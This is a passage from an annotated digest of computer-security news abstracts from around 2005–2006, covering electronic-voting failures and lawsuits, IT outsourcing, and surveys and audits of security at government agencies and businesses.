One candidate was endorsed in a race by both Republican and Democratic parties and was listed twice in a choose 2 out of 3 race. This candidate, due to being listed twice, got twice as many votes as the other two candidates in the same contest.

* Pasquotank Co., North Carolina - In Elizabeth City, a 14-vote gap has one candidate calling for a recount

Selecting a certain candidate in the only contest on the ballot resulted in a write-in candidate box being selected instead. The margin in this race was 14 votes. Also, 60 blank ballots were cast (recall that there was only one race for this election).

* Lucas Co., Ohio - State plans to investigate voting chaos; Tuesday's problems are latest for Lucas County

This one is mysterious: "workers accidentally 'set an option [on the five machines] that prevented the results from being transported onto the memory card.'" Also, massive labor shortage resulted in chaos as election was highly understaffed and a system of "rovers" didn't function correctly (where one elections worker would travel to five polling places to get aggregate totals from machines).

* Montgomery County, Ohio - Vote count goes all night

Various problems resulted in having to download votes from 2000 memory cards instead of from one card each from the 548 precincts. However, during this process, 186 memory cards were found to be missing. After looking through bags of precinct materials ("I voted" stickers, signs, etc.) they had found 171 cards. The remaining 15 cards were only found after rousing pollworkers from bed at 3 am so they could return to the polling place to get the cards either left in machines or lying around the polling place.

* Wichita County, Texas - Human errors hamper voting

35 precincts neglect to perform zeroing out process before election. This resulted in the vote data being impossible to download from the DRE (ES&S) with PEB device. ES&S technicians were able to open the machines, remove the removable memory cards and read the data from there.

* Montgomery County, Ohio - 'Human error' creates doubt about failed vote in Carlisle

77 "phantom votes" found to have been cast in an election where a bond measure was defeated by a margin of 146 to 79. ("Phantom votes" are when there are more votes counted than there are registered voters that could have cast votes) In this case, there were only 148 registered voters that could have cast votes in this race.

[Lightly edited by MK. Each item in the original has a reference to a specific URL]

Category 29.4 *Online & electronic voting*

2005-12-09 **electronic e-voting certification lawsuit EFF North Carolina**

RISKS; http://www.siliconvalley.com/mld/siliconvalley/13361799.htm 24 12

EFF E-VOTING CERTIFICATION LAWSUIT

Peter Ludemann reports that the North Carolina is being sued by the Electronic Frontier Foundation (EFF) for improper certification of voting machines:

>North Carolina law requires the Board of Elections to rigorously review all voting system code "prior to certification." But last week the state's Board of Elections certified voting systems from Diebold Election Systems, Sequoia Voting Systems, and Election Systems and Software without bothering to do so…. "This is about the rule of law," said EFF Staff Attorney Matt Zimmerman. "The Board of Elections has simply ignored its mandatory obligations under North Carolina election law. This statute was enacted to require election officials to investigate the quality and security of voting systems before approval, and only approve those that are safe and secure. By certifying without a full review of all relevant code, the Board of Elections has now opened the door for North Carolina counties to purchase untested and potentially insecure voting equipment." Keith Long, a North Carolina voting systems manager, defended the state's decision, telling News.com that reports from "independent testing authorities" were sufficient for certification. But that comes as poor reassurance. Because if the "independent testing authorities" to which Mr. Long refers are as impartial as he is, North Carolina is in big trouble. Long, you see, worked for Diebold Election Systems as recently as Oct. 1, 2004. And between 1983 and 1992 he worked for Sequoia.<

Mr Ludemann adds cogently, "So by 'independent' you mean 'independent of any public oversight,' right?"

Category 29.4 *Online & electronic voting*

2005-12-16 **Florida lawsuit drunk driving breathalyzer source code disclosure electronic e-voting relation**

RISKS; http://online.wsj.com/article_print/SB113470249958424310.html 24 13

FLORIDA BREATHALYZER SOURCE-CODE DISCLOSURE CASE

Contributor Danny Burstein refers to the following clip from _The Wall Street Journal_:

"A court fight in Florida over the software used in the instruments that detect alcohol in breath could threaten the ability of states and localities to prosecute drunk drivers.

"The battle is over the source code of breath analyzers made by CMI Group, a closely held maker of breath-alcohol instruments. Defense lawyers have challenged the use of the device and asked to see the original source code that serves as its computer brain, saying their clients have the right to examine the machine that brings evidence against them.

"Last February, a state appeals court in Daytona Beach ruled that Florida had to produce 'full information' about the test that establishes the blood-alcohol level of people accused of driving under the influence, or DUI. Otherwise, the court said, the evidence is inadmissible…"

Mr. Burstein exclaims, "Imagine if this logic followed through to the equipment being slid into election vote counting!"

Category 29.4 *Online & electronic voting*

2006-01-19 **optical scanner electronic voting machine memory card tampering testing hacking Digital Millennium Copyright Act DMCA**

http://www.computerworld.com/printthis/2006/0,4814,107881,00.html

E-VOTING SYSTEMS TESTER SEES 'PARTICULARLY BAD' SECURITY ISSUES

Herbert Thompson tested Diebold AccuVote optical scanning equipment used for vote-counting in Leon County, FL. Marc Songini interviewed Dr Thompson for an article in Computerworld and discussed the issues. Dr Thompson and his colleagues were able to alter voting results by tampering with the device's memory card. The results could twist the vote-count to favor a preselected candidate. Diebold officials strongly criticized the test methodology, saying that the memory cards were normally sealed precisely to prevent such tampering and that the tests were equivalent to complaining about poor security by deliberately disabling protection and then complaining about security breaches. They also complained that the tests themselves may have violated the terms of Diebold's licensing agreements and intellectual property rights.

Category 29.4 *Online & electronic voting*

2006-03-31 **electronic voting software bug corruption election cancelled voided quality assurance QA**

RISKS; Wisconsin State Journal http://tinyurl.com/napdn 24 23

E-VOTING SOFTWARE GLITCHES RUINS UNIVERSITY ELECTION

Computer problems caused the University of Wisconsin-Madison Student Council to throw out online votes cast this week for campus offices, but retained votes cast for two referendums on the same ballot. The cause of the problem may have been a "little-used, multiple-name tool has worked in prior elections but may have been corrupted by a database upgrade several months ago." The main risk appears to be the lack of testing of the voting system prior to the vote (along with no testing after a major software upgrade).

The parallels with the world of voting machines are obvious: the voting system needs to be tested and certified BEFORE voting occurs.

[Abstract by Dana Freiburger]

29.7 Outsourcing

Category 29.7 Outsourcing

2005-06-23 **data theft insider attack employee outsourcing foreign worker call center reporter investigation bank account details identity theft credit card fraud**

RISKS; http://news.bbc.co.uk/1/hi/uk/4121934.stm 23 93

INDIAN CALL-CENTER WORKER SOLD BANK-ACCOUNT DETAILS TO REPORTER

Police are investigating reports an Indian call centre worker sold the bank account details of 1,000 UK customers to an undercover reporter. The information passed on could have been used to clone credit cards.

The Risks?

Obvious really - overseas call centres in poverty stricken third world countries, the staff of whom have unlimited access to personal and private information of the more wealthy, are the worst security risks ever devised by financial organisations.

[The abstract and comments above are reorganized from the original note submitted to RISKS by "SB", who is not otherwise identified.]

Category 29.7 Outsourcing

2005-12-05 **Intel Corp investment research development R&D outsourcing India foreign offshore Bangalore**

EDUPAGE; http://news.bbc.co.uk/2/hi/business/4499362.stm

INTEL UPS INVESTMENT IN INDIA

Intel has announced plans to invest $1 billion in India, where it already operates the company's largest nonmanufacturing site outside the United States. That site, in Bangalore, hosts development efforts for software. The new investment, expected over the next five years, will be split between the existing research and development efforts and local firms. Craig Barrett, chairman of Intel, said, "We will grow our local operations, boost venture capital investments, and work closely with the government, industry, and educators." The company said it has not made any decisions about opening manufacturing facilities in India, though such an option remains open. The costs of doing business in countries including India are significantly lower than in the United States. Some estimates put the salary for an Indian software engineer at one-sixth of what a comparably skilled engineer would earn in the United States. BBC, 5 December 2005

Category 29.7 Outsourcing

2005-12-11 **China overtake US information technology IT good supplier**

DHS IAIP Daily;
http://www.nytimes.com/2005/12/11/business/worldbusiness/11c nd−
hitech.html?adxnnl=1&adxnnlx=1134398046−RvJh6wxlZ7Zf7UdIW s/ljg

CHINA OVERTAKES U.S. AS SUPPLIER OF INFORMATION TECHNOLOGY GOODS

After almost a decade of explosive growth in its electronics sector, China has overtaken the U.S. as the world's biggest supplier of information technology goods, according to a report by the Organization for Economic Cooperation and Development. Data in the report, published on Monday, December 12, show that China's exports of information and communication technology increased by more than 46 percent to $180 billion in 2004 from a year earlier, easily outstripping for the first time U.S. exports of $149 billion, which grew 12 percent from 2003. The figures compiled by the Organization for Economic Cooperation and Development, based in Paris, also reveal that China has come close to matching the U.S. in the overall value of its trade in information and communications technology products. The value of China's combined exports and imports of such goods soared to $329 billion in 2004 from $35 billion in 1996. Over the same period, the value of American information technology trade expanded at a slower rate, to $375 billion from $230 billion. Organization for Economic Cooperation and Development's data: http://www.oecd.org/document/8/0,2340,en_2649_201185_3583309 6_1_1_1_1,00.html

---

Category 29.7 *Outsourcing*

2006-02-23 **report study outsourcing fears exaggerated ACM US computer science academia hurt**

EDUPAGE; http://www.nytimes.com/2006/02/23/technology/23outsource.html

REPORT SAYS OUTSOURCING FEARS EXAGGERATED

A new report from the Association for Computing Machinery (ACM) argues that fears of a wholesale migration of high-tech jobs away from the United States are not supported by the data so far. Representing a year's work by a study group, the report predicts continued offshoring of 2 to 3 percent of IT jobs each year for the next decade, but it notes that the number of high-tech jobs continues to grow and already exceeds the number at the height of the dot-com boom. Although the report acknowledges losses to lower-wage markets and notes that the marketplace for technology is tightening, "the notion that information technology jobs are disappearing is just nonsense," according to Moshe Vardi, computer scientist at Rice University and cochair of the study group. David Patterson, president of the ACM and computer science professor at the University of California, Berkeley, said that exaggerated fears of outsourcing have hurt the U.S. market by discouraging college students from pursuing careers in IT, which, in turn, will lead to fewer qualified members of the U.S. IT workforce.

31.1 Surveys, studies, audits of security

Category 31.1 Surveys, studies, audits of security

2004-12-06 **music piracy Kazaa Grokster artist**

NewsScan; http://www.nytimes.com/2004/12/06/arts/06down.html

ARTISTS LOVE THE WEB, HATE MUSIC PIRACY

In the first large-scale survey of artists (i.e., filmmakers, writers and digital artists), musicians and the general public, the Pew Internet and American Life Project has found that only about half of the artists polled thought that sharing unauthorized copies of music and movies online should be illegal. Nearly two-thirds of those said filesharing services such as Kazaa and Grokster should be held responsible for illegal fileswapping, while only 15% thought it was a good idea to go after individual users. Among musicians, 37% said the file-sharing services and users should share the blame for illegal file-swapping, while 17% singled out the services as the guilty parties. The survey results indicate that while file-swapping is an ongoing irritant to artists and musicians who see their work distributed for free on the Net, they also value the widescale exposure that the Internet makes possible. "The overall picture is that the musician-artistic community has a much wider range of views and experiences than folks who watch the Washington debate about copyright might imagine," says Lee Rainie, director of the Pew Internet Project. (New York Times 6 Dec 2004)

Category 31.1 Surveys, studies, audits of security

2004-12-17 **Department of Homeland Security DHS cyber security lagging report NIST guidelines NSA recommendations**

DHS IAIP Daily; http://www.securityfocus.com/news/10148

DHS CYBER SECURITY LAGGING.

The U.S. Department of Homeland Security (DHS) is having some homeland cyber security issues on its systems providing remote access to telecommuters, according to a newly-released report by the DHS Inspector General's office. Earlier this year security auditors spent five months probing hosts, attacking passwords and war dialing the Department. They found that some of the hosts designed to allow home workers and other trusted users access to DHS networks by modem or over the Internet lacked the authentication measures called for by official NIST guidelines and recommendations by the National Security Agency. The Inspector General's report recommends that DHS update the DHS Sensitive Systems Handbook to include implementation procedures and configuration settings for remote access to DHS systems, ensure that procedures for granting, monitoring, and removing user access are fully implemented, and ensure that all necessary system and application patches are applied in a timely manner. While Department CIO Steve Cooper concurred with the recommendations, he said some of the auditors' concerns were overstated: The systems suffering known vulnerabilities were waiting for patches to come out of testing, and any genuine effort at password hacking would be hobbled by the Department's policy of limiting failed login attempts. Report: http://www.dhs.gov/dhspublic/interweb/assetlibrary/rOIG_05-0 3_Nov04.pdf

---

Category 31.1 Surveys, studies, audits of security

2005-01-24 **Internal Revenue Service IRS information technology IT security plan improvement corrective action**

DHS IAIP Daily; http://informationweek.com/story/showArticle.jhtml?articleID =57703333

IRS NEEDS BETTER IT SECURITY PLAN, INSPECTOR GENERAL SAYS

The Internal Revenue Service isn't doing enough to assure the security of its IT systems, according to a Treasury Department Inspector General's report made public last week. The report says the IRS has prepared action plans and milestones to track program-level and system-level weaknesses, as required by the White House Office of Management and Budget. But the process the IRS employs to identify weaknesses and report progress is flawed and ineffective, the report states. That means the information the IRS provides Treasury and has been inaccurate and misleading. To ensure an effective system is established to monitor security weaknesses, the Inspector General's office recommends that the IRS chief of mission assurance and security services coordinate with the department's CIO and business-unit owners to develop plans that specifically identify all known security weaknesses. The IRS chief of mission assurance and security services agrees with the inspector general's recommendations, and has initiated a number of corrective actions. Report: http://www.ustreas.gov/tigta/auditreports/2005reports/200520 027fr.pdf

---

Category 31.1 Surveys, studies, audits of security

2005-01-24 **laptops cell phones equipment loss taxis cabs data confidentiality possession control**

NewsScan;
http://www.cnn.com/2005/TECH/ptech/01/24/taxis.lost.reut/index.html

THOUSANDS OF LAPTOPS, CELL PHONES LEFT IN CABS

A new survey estimates that 11,300 laptops, 31,400 handheld devices and 200,000 mobile phones were left in taxis around the world during the last six months. The survey, which polled some 1,000 taxi drivers and extrapolated from there, indicates that four out of five cell phones and 19 out of 20 laptops were returned to their owners eventually. Geographically, Chicagoans were most likely to leave a handheld device in a cab, while Londoners were more careless than others with their laptops. Danes seemed to be most likely to forget their cell phones. Other items reportedly left in cabs include a harp, dentures, artificial limbs and a baby. (Reuters/CNN.com 24 Jan 2005)

Category 31.1 Surveys, studies, audits of security

2005-02-01 **Virtual Private Networks VPN weakest security link three year study report NTA Monitor**

DHS IAIP Daily; http://www.vnunet.com/news/1160912

VIRTUAL PRIVATE NETWORKS (VPNS) ARE OFTEN THE WEAKEST SECURITY LINK, STUDY SAYS.

A three-year research project by security firm NTA Monitor has concluded that nine out of 10 virtual private networks (VPNs) have exploitable vulnerabilities. Most of the companies that had their VPNs tested as part of the project thought that they were invulnerable to hackers, but researchers found the same types of flaw repeated across the whole product range. The report stated that, in some cases, VPNs were actually the weakest security link in an organization. The most widespread flaw involved the hacking of user names. Other vulnerabilities center around password cracking. Report: http://www.nta-monitor.com/news/vpn-flaws/index.htm

---

Category 31.1 Surveys, studies, audits of security

2005-02-02 **survey study spyware surveillance Trojans**

RISKS; http://www.earthlink.net/spyaudit/press 23 70

SPYAUDIT REPORTS GROWTH IN MALWARE

Monty Solomon reports:

The most malicious forms of spyware, system monitors and Trojans, increased in the last three months of 2004, according to the quarterly SpyAudit report, the nation's next-generation Internet Service Provider, and Webroot Software, a producer of award-winning privacy, protection and performance software. The report also documents the complete SpyAudit results for 2004, which tracked the growth of spyware on consumer PCs since the report's inception on January 1, 2004. It shows the instances of system monitors rose 230 percent, while the instances of Trojans rose 114 percent from October 2004 to December 2004. Trojans, keystroke loggers and system monitors are capable of capturing keystrokes, online screenshots, and personally identifiable information like your social security number, bank account numbers, logins and passwords, or credit card numbers.

The number of SpyAudit scans performed during the fourth quarter also rose with an increase of 72 percent from October 2004 through December 2004. In total for 2004, more than 4.6 million scans were performed, discovering approximately 116.5 million instances of spyware, adware or potentially unwanted software. An average of 25 traces were found per SpyAudit scan for 2004. The complete report is available at
http://www.earthlink.net/spyaudit/press . …

Category 31.1 Surveys, studies, audits of security

2005-02-08 **survey security insider threat greater hacker virus worm Ponemon Institute**

DHS IAIP Daily; http://www.networkingpipeline.com/showArticle.jhtml?articleI D=59301819

SURVEY SAYS INSIDERS, NOT HACKERS, ARE MAIN CAUSE OF DATA BREACHES

Most network security breaches are caused by insiders, rather than by hackers, viruses, or worms, according to a new study released by the think tank Ponemon Institute. In the study, 69% of companies reported that their data security breaches were the result of either malicious employee activities or non-malicious employee error. The leading single cause of data security breaches was non-malicious employee error, at 39%. Only 16% of serious data leaks were linked to hackers or break-ins. Of the 163 companies surveyed, 75% reported that a serious security breach had occurred within the past year.

[MK notes: WHAT HAVE WE SECURITY PEOPLE BEEN TELLING YOU FOR THE LAST 25 YEARS?? WHAT ARE WE, CHOPPED LIVER???]
[****** (turns bright red)]
[SLAP (slaps forehead in frustration)]
[THUD (falls off chair]
[SCRABBLE SCRABBLE (gets back on chair)]

Category 31.1 Surveys, studies, audits of security

2005-02-13 **cybersecurity study competitive advantage bottom line boost Business Software Alliance BSA Information Systems Security Association ISSA**

DHS IAIP Daily; http://www.scmagazine.com/news/index.cfm?fuseaction=newsDeta ils&newsUID=87605d0f−ffc6−4169−93e4−3c7274412de7&newsType=La test%20News

CYBERSECURITY BOOSTS BOTTOM LINE

Companies that make cybersecurity a priority say it increases their efficiency and gives them a competitive advantage in the market, according to a survey of information security professionals. The joint survey by the Business Software Alliance (BSA) and the Information Systems Security Association (ISSA) queried 850 ISSA members online between December 2004 and January 2005. The members represent large to small businesses. Seventy-six percent of the companies said raising security as a priority gives them a competitive advantage. Their systems are down less often, they're not losing customers due to lack of trust, and their brand is not threatened, said Robert Holleyman, BSA president and CEO. The survey also showed that in the last 12 months, more companies have raised security to the senior management level - 44 percent in 2004 versus 39 percent in the previous 2003 survey. Survey: http://www.bsa.org/usa/press/newsreleases/BSA-ISSA-Commissio ned-Survey.cfm

---

Category 31.1 Surveys, studies, audits of security

2005-02-15 **CIO IT Association of America managers survey system consolidation security priorities 2005**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/35066−1.html

CIOS SAY CONSOLIDATION AND CYBERSECURITY TOP PRIORITY LIST.

CIOs and IT managers will focus on systems consolidation and security through the end of the fiscal year. That's the chief finding from a new survey of CIOs from civilian, Defense Department, legislative and top-level executive offices. The driving factors behind IT consolidation are cutting costs and improving network cybersecurity, respondents said in the 15th annual Federal CIO Survey. CIOs also identified risk management, integrating physical and IT security, and assessing the vulnerabilities of less crucial systems as among their top priorities. The survey, conducted by the IT Association of America, found that CIOs want to reduce the number of e-mail, file and print servers in use as well as cut the number of data centers. Survey: http://www.itaa.org/news/docs/itaasurvey_f.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2005-02-16 **federal government cybersecurity report card cyber attack**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A30342-2005Feb16.html

FEDERAL AGENCIES GET FAILING GRADES ON CYBERSECURITY

At least half of all federal agencies received a grade of "D" or worse on the House Government Reform Committee's annual cyber-security report card. Agencies that received failing marks include the departments of Agriculture, Commerce, Energy, Health and Human Services, Housing and Urban Development, and Veterans Affairs. A grade of "D" was awarded to the departments of Defense and Treasury, as well as the National Aeronautics and Space Administration and the Small Business Administration. Committee Chairman Tom Davis (R-VA) was encouraged by the fact that the scores of the 10 agencies, as poor as they were, have actually improved since last year, but he warned they must still do better: "I hope it won't take some kind of major cyber-attack to wake everybody up." (Washington Post 16 Feb 2005)

Category 31.1 *Surveys, studies, audits of security*

2005-02-16 **companies education training Secure Software Forum colleges universities Oracle problems sophisticated automated tools flaws representatives**

EDUPAGE; http://news.com.com/2100-1002_3-5579014.html

COMPANIES POINT TO EDUCATION FOR POOR SECURITY TRAINING

In a panel discussion at the Secure Software Forum in San Francisco, a number of major software makers pointed to inadequate security training at colleges and universities as a main reason software continues to be plagued with security flaws. Mary Ann Davidson, chief security officer at Oracle, said, "Unfortunately, if you are a vendor, you have to train your developers until the universities start doing it." Although other problems were identified, including a lack of sophisticated, automated tools to identify flaws, representatives of other software companies included in the panel agreed that at least some of the blame falls on colleges and universities for not providing graduates with sufficient understanding of security issues. Fred Rica, a partner in PricewaterhouseCoopers' Threat and Vulnerability Assessment Services, disagreed, saying that "Functionality still trumps security." When companies must decide how to allocate development money, he said, they choose new features over security for existing applications. A study by Gartner noted that although companies cite lack of skills among developers as a significant problem, those same companies put relatively little funding into training programs.

Category 31.1 *Surveys, studies, audits of security*

2005-03-04 **White House government auditors information technology IT report security improvement indication Congress presentation**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?articleID=60405791

WHITE HOUSE REPORT SHOWS IMPROVEMENT IN IT SECURITY

Government auditors certified and accredited 77% of the federal government's 8,623 IT systems after undergoing risk assessments and security-control testing last fiscal year, up from 62% in fiscal year 2003, according to a White House report to Congress made public Friday, March 4. Several agencies, notably the departments of Labor and Transportation, showed remarkable improvements, with Transportation certifications rocketing to 98% from 33% and Labor accreditations leaping to 96% from 58%. Karen Evans, administrator for E-government and IT in the White House Office of Management and Budget, said at a press briefing that she was pleased with the progress, but the government must be diligent even when all systems are eventually certified. "You can't be 100% secure," she said. Report: http://www.whitehouse.gov/omb/inforeg/2004_fisma_report.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2005-03-15 **European information technology IT managers false sense Stress in Security study survey**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0 ,10801,100397,00.html

STUDY: EUROPEAN IT MANAGERS HAVE FALSE SENSE OF SECURITY

Many European IT managers find their jobs extremely stressful, and even those who feel they have done as much as they can to protect their companies against emerging threats are operating under a false sense of security, according to a study released today. These conclusions were detailed in Websense Inc.'s "Stress in Security" survey of 500 IT managers across Europe. Although 91% of the managers said they believe their companies have good IT security, 70% said they leave gaps open to common Internet threats, according to the study. Many known Web-based threats are being overlooked, and a majority of respondents said they have no measures in place to protect against internal hackers or phishing attacks. "The biggest problem is that they are being reactive rather than proactive," said Websense spokesperson Rebecca Zarkos, who worked on the report. Eight percent of the European companies surveyed said they have no security measures beyond a basic firewall and an antivirus product in place. A possible reason behind the lax security is that IT managers aren't delegating enough responsibility to end users, and too few security policies are enforced, Websense said. Report Summary: http://ww2.websense.com/global/en/PressRoom/PressReleases/Pr essReleaseDetail/?Release=050315863

Category 31.1 *Surveys, studies, audits of security*

2005-03-25 **cybersecurity regulations challenge study report Department of Homeland Security DHS regulatory power**

DHS IAIP Daily; http://www.fcw.com/article88407−03−25−05−Web

STUDY SAYS CYBERSECURITY REGULATIONS WOULD BE CHALLENGING TO IMPLEMENT

Some lawmakers, concerned about the nation’s vulnerability to cybercrime and possible cyberterrorism, are considering whether a larger federal government role in dealing with the problem is feasible. But a recent study by the Congressional Research Service, which conducts public policy studies, suggests that congressional leaders will face significant challenges if they try to create a regulatory framework to strengthen the nation’s cyberdefenses. The report cites two possible models for greater government involvement in cybersecurity. One is the government response to the year 2000 computer crisis. The Securities and Exchange Commission set rules requiring companies to report on their Year 2000 preparedness, and Congress passed liability protections for companies that complied with the rules. The other is a food safety or environmental regulation model in which federal agencies set regulations and use inspectors to monitor compliance. But the report raises questions about the feasibility of either model. Despite being inconclusive, the report lays out several legislative options. The strongest option, according to the report, would be for Congress to provide the Department of Homeland Security or another agency with regulatory authority over cyberspace industries. Report: http://www.usembassy.it/pdf/other/RL32777.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2005-04-04 **higher education colleges universities computer security below average**

EDUPAGE; http://www.nytimes.com/2005/04/04/technology/04data.html

HIGHER ED FARES BELOW AVERAGE FOR COMPUTER SECURITY

A recent spate of computer-security incidents at colleges and universities has drawn attention to the apparent tension between concerns over academic freedom and the need to protect sensitive information. Stanton S. Gatewood, chief information security officer at the University of Georgia, which suffered a security breach last year, noted that higher education is "built on the free flow of information and ideas," saying that college and university networks are designed based on that ideal. The result, however, is a tempting target for information thieves. According to the Office of Privacy Protection in California, colleges and universities in that state have accounted for more data incidents since 2003--close to 30 percent--than any other group. Although some states now prohibit using Social Security numbers as identifiers in many databases, their continued prevalence makes changing structures difficult. The University of Michigan, for example, spent seven years weaning itself off Social Security numbers. Because testing agencies and other organizations continue to use them, however, the university finds it still has to track them. New York Times, 4 April 2005 (registration req'd)

Category 31.1 *Surveys, studies, audits of security*

2005-04-06 **businesses information technology IT system downtime virus attack denial of service DoS study**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml;jsess ionid=JEJIDQB3K21CEQSNDBGCKHSCJUMEKJVN?articleID=160501452

BUSINESSES SUFFER MORE DOWNTIME FROM VIRUSES

Damage to business IT systems caused by viruses continues to grow, and businesses are getting hit by more viruses, according to a new survey. IT systems were hit with 50% more viruses in 2004 than they were in 2003, reaching 392 incidents per 1,000 machines, according to a survey of 300 companies and government agencies sponsored by McAfee, Microsoft, Trend Micro, and other vendors, and conducted by ICSA Labs, a division of Cybertrust Inc. The Virus Prevalence Survey indicates that when 25 or more PCs or servers are infected, system downtime increased by 12% in 2004 compared with a year earlier. The amount of time it took in 2004 to recover from the infections increased by seven person days, year over year, and the actual costs of recovery averaged $130,000. Both of those figures were 25% higher than in 2003. Survey details: http://www.cybertrust.com/pr_events/2005/20050405.html

---

Category 31.1 *Surveys, studies, audits of security*

2005-04-07 **Government Accountability Office information security report testimony FISMA 2002 devastating consequences**

DHS IAIP Daily; http://www.gao.gov/cgi−bin/getrpt?GAO−05−483T

INFORMATION SECURITY: CONTINUED EFFORTS NEEDED TO SUSTAIN PROGRESS IN IMPLEMENTING STATUTORY REQUIREMENTS (TESTIMONY)

For many years, the Government Accountability Office (GAO) has reported that poor information security is a widespread problem that has potentially devastating consequences. This testimony reports on the federal government's progress and challenges in implementing the Federal Information Security Management Act of 2002 (FISMA) as reported by the Office of Management and Budget (OMB), the agencies, and Inspectors General (IGs). In its fiscal year 2004 report to the Congress, OMB reports significant strides in addressing long-standing problems, but at the same time, cites challenging weaknesses that remain. Fiscal year 2004 data reported by 24 major agencies generally show increasing numbers of systems meeting key statutory information security requirements compared with fiscal year 2003. Nevertheless, challenges remain. For example, only seven agencies reported that they had tested contingency plans for 90 to 100 percent of their systems, and six of the remaining 17 agencies reported that they had tested plans for less than 50 percent of their systems. Opportunities also exist to improve the usefulness of the annual FISMA reporting process. In addition, a commonly accepted framework for the annual FISMA mandated reviews conducted by the IGs could help ensure the consistency and usefulness of their evaluations.

Category 31.1 *Surveys, studies, audits of security*

2005-04-25 **unpatched computer machines major security threat McAfee analysis**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml;jsess ionid=ZWPITNXHXNCIMQSNDBCSKH0CJUMEKJVN?articleID=161502434

UNPATCHED MACHINES SEEN AS MAJOR SECURITY THREAT

Hackers will keep developing exploits that take advantage of known software vulnerabilities because, although patches are available, a minority of machines are fixed, security vendor McAfee said Monday, April 25. In releasing its quarterly security analysis, McAfee's "AVERT" virus research team noted that exploited vulnerabilities are becoming a dominant threat to both consumers and enterprises. According to AVERT's estimates, half or more of the computers connected to the Internet aren't properly patched or updated. Not good, especially when the number of vulnerabilities spotted in the first quarter of 2005 was up six percent over the same quarter last year. While traditional viruses may be on the way out, other threats, such as phishing, have stepped in to fill the gap said Vincent Gullotto, the vice president of AVERT. "I think we'll see a reduction in the number of traditional phishing sites that entice people to divulge information," he said. "Instead, we'll see programs that are pure spyware that can directly target the clientele they want, to get the data they need." AVERT Report: http://www.mcafeesecurity.com/us/about/press/corporate/2005/ 20050425_185320.htm

---

Category 31.1 *Surveys, studies, audits of security*

2005-04-25 **Web server attacks growing quickly survey hacktivism Iraq war teenager involvement**

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4480689.stm

SURVEY: WEB SERVER ATTACKS 'GROWING FAST'

A survey by Zone-H revealed that web server attacks and Website defacements grew by 36% during 2004 when almost 400,000 incidents were recorded. The attacks include 49 separate sorties against U.S. military servers and huge numbers of Website defacements. The figures were collated by Zone-H , a web-based organization that uses a world-wide network of volunteers to spot and investigate web server attacks and site defacements. "Defacement is just one option for an attacker," said Roberto Preatoni, Zone-H coordinator. "In most circumstances the techniques used by defacers are the same techniques used by serious criminals to cause more serious damage." The report found that more than half of all attacks and defacements, 55%, succeeded by exploiting a known bug or vulnerability or an administration mistake. The figures show that the many incidents occur on the anniversaries (mid-March) of the start of the most recent war in Iraq when both pro-Muslim and pro-American groups defaced sites. The survey also found that the long holidays around Christmas provoke a spike in attacks and incidents. The frequency of attacks also dips around the time that schools re-open suggesting that many teenagers are behind the defacements. Survey: http://www.zone-h.com/news/read/id=4457/

Category 31.1 *Surveys, studies, audits of security*

2005-04-25 **survey study steep rise Website defacements 2004 hacktivism**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4480689.stm

SURVEY SHOWS STEEP RISE IN WEB SITE DEFACEMENTS

Attacks on Web sites jumped 36 percent in 2004, totaling nearly 400,000 incidents, according to Zone-H, an organization that tracks malicious Web activity. Of the attacks recorded by the organization, Web site defacements--in which a bogus Web page is substituted for a Web site's home page--constituted the vast majority of attacks. Roberto Preatoni of Zone-H pointed out, though, that "the techniques used by defacers are the same techniques used by serious criminals to cause more serious damage." According to the group's report, more than half of the successful hacks took advantage of a known weakness or careless administration, such as easily guessed passwords or unprotected systems. Zone-H reported that the frequency of attacks rises over the Christmas holidays and drops when schools reopen each year after summer break. BBC, 25 April 2005

Category 31.1 *Surveys, studies, audits of security*

2005-05-02 **study antivirus software media playing hacking operating system autoupdate patching helpful security**

DHS IAIP Daily;
http://www.reuters.com/newsArticle.jhtml?type=technologyNews
&storyID=8359020

STUDY SHOWS HACKERS WIDENING FOCUS

Online criminals turned their attention to antivirus software and media players in the first three months of 2005 as they sought new ways to take control of users' computers, according to a survey released on Monday, May 2. While hackers continued to poke new holes in Microsoft's Windows operating system, they increasingly exploited flaws in software made by other companies as well, the nonprofit SANS Institute found. As more Windows users agreed to receive security upgrades automatically, hackers looked to take advantage of other software programs that might not be patched as frequently, the head of the cybersecurity training and research organization said. "Operating systems have gotten better at finding and fixing things and auto-updating, so it's less fertile territory for the hackers," said SANS Chief Executive Alan Paller. More than 600 new Internet security holes have surfaced in 2005 so far, SANS found. Report: http://www.sans.org/top20/Q1-2005update

---

Category 31.1 *Surveys, studies, audits of security*

2005-05-13 **US Government Accountability Office GAO emerging cybersecurity issues report FISMA**

DHS IAIP Daily; http://www.gao.gov/cgi−bin/getrpt?GAO−05−231

INFORMATION SECURITY: EMERGING CYBERSECURITY ISSUES THREATEN FEDERAL INFORMATION SYSTEMS (REPORT)

Spam, phishing, and spyware pose security risks to federal information systems. The blending of these threats creates additional risks that cannot be easily mitigated with currently available tools. Most agencies were not applying the information security program requirements of the Federal Information Security Management Act of 2002 (FISMA) to these emerging threats. Pursuant to FISMA, the Office of Management and Budget (OMB) and the Department of Homeland Security (DHS) share responsibility for the federal government's capability to detect, analyze, and respond to cybersecurity incidents. However, governmentwide guidance has not been issued to clarify to agencies which incidents they should be reporting, as well as how and to whom they should report. The Government Accountability Office (GAO) recommends that the director, OMB, ensure that agencies address emerging cybersecurity threats in their FISMA-required information security program and coordinate with DHS and the Department of Justice to establish guidance for agencies on how to appropriately address and report incidents of emerging threats. OMB representatives generally agreed with GAO findings and conclusions and indicated their plans to address the recommendations. Highlights: http://www.gao.gov/highlights/d05231high.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2005-05-17 **poll study firewall security lax e-mail virus executables phishing**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2135301/lax−security−leavi ng−networks−wide−open

LAX SECURITY LEAVES NETWORKS WIDE OPEN

